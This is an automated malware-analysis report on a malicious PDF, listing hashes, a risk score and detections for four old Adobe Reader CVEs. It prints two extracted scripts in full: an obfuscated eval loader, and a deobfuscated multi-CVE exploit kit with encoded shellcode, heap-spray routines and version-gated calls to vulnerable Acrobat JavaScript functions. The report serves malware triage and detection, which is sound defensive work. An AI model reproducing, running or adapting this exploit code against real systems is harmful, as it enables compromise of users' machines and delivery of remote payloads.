Malicious PDF — malware analysis report

Static analysis result for SHA-256 e7f54f668f5d7860…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-08
MD5: 8db5ddfa21116b10ec9c359ef626d5eb SHA-1: a9c7f60a9f8657d2d6383134b70f75ec1ff2f2e9 SHA-256: e7f54f668f5d7860585d33cc54b24f7ca44166047eb42c333d6aa65069cac64b
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB023 436 bytes
SHA-256: 5af70850c8d12ba3153c2629a004a687036eeafea2a1badd0664e223879e2007
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
jrz='';
hsvg=('qwrwqr','tit');
e('pdbb=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
mad=e('String.fro'+pdbb.substr(0,9));
yls = e(pdbb.substr(9)['replace'](/u/g,','));
e('k=yls.length');
for (i = 0; i < k; i+=2) {
	kupl = yls[i+1] + ('erybjkerl',yls[i]);
	jrz += mad(kupl);
}
e(jrz);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3654 bytes
SHA-256: d384c659e8c03f32ccbeee71f7488ec5788b5d09dc37a9b4802ea80404be0705
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3cb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8c34%ue2aa%uc3fa%ue5e8%uffff%u65ff%u8d80%u8c8c%u0dd2%ud060%u8c8d%u058c%u016b%u9cc3%ue301%ubdd8%udb57%udfdd%udfdf%udfdf%udfdf%udfd9%ue4df%u8d88%u8c8c%udad9%ue4df%ue2e3%u8c8c%uf9e4%ue0fe%ud8e1%u02e4%u82c2%u6460%u8cc4%u8c8c%u64dc%u8cf0%u8c8c%u5c73%u480f%ue484%u63c3%u89c3%u64dc%u8ce0%u8c8c%u5c73%u4c09%u9bf9%ud8e6%u7fd5%ue426%u72fe%u9a3f%u9164%u8c8c%udc8c%udd64%u8c8c%u738c%udf5c%u72e6%u05e4%u8de3%u6431%u8c84%u8c8c%u64dc%u8cb0%u8c8c%u5c73%ubdec%ue84c%udc07%u07bc%u80de%ude07%u0798%ua4fe%u9435%u8c8c%ubd8c%ubd73%u204c%uedb0%u8ef0%uaca0%u434d%u8d81%u6e4b%u0d7c%ud773%uc630%u07e6%u9cce%u9e07%u55f9%uc805%u90a8%u4fed%u07ec%ua8e0%u07a8%ub0c9%ud807%uf489%u668d%uc607%u0794%uacd6%u678d%ub86f%u07c5%u07b8%u628d%u73bd%u4cbd%u2070%u4c08%u8bf8%u434d%u8d81%u674b%ub778%ua8f0%uf9a4%u076d%ua8d6%u678d%u07ea%uc780%ud607%u8d90%u0767%u0788%u648d%uc805%u90a8%u4eed%u8c84%u6364%u7372%ue473%uf8f8%ub6fc%ua3a3%ue0ed%uf6ed%ufeed%ue9ee%uf8ff%ue5a2%ueae2%ua3e3%ua2e8%ue4fc%ub3fc%ub1ea%ubebf%ue9aa%ub9b1%u008c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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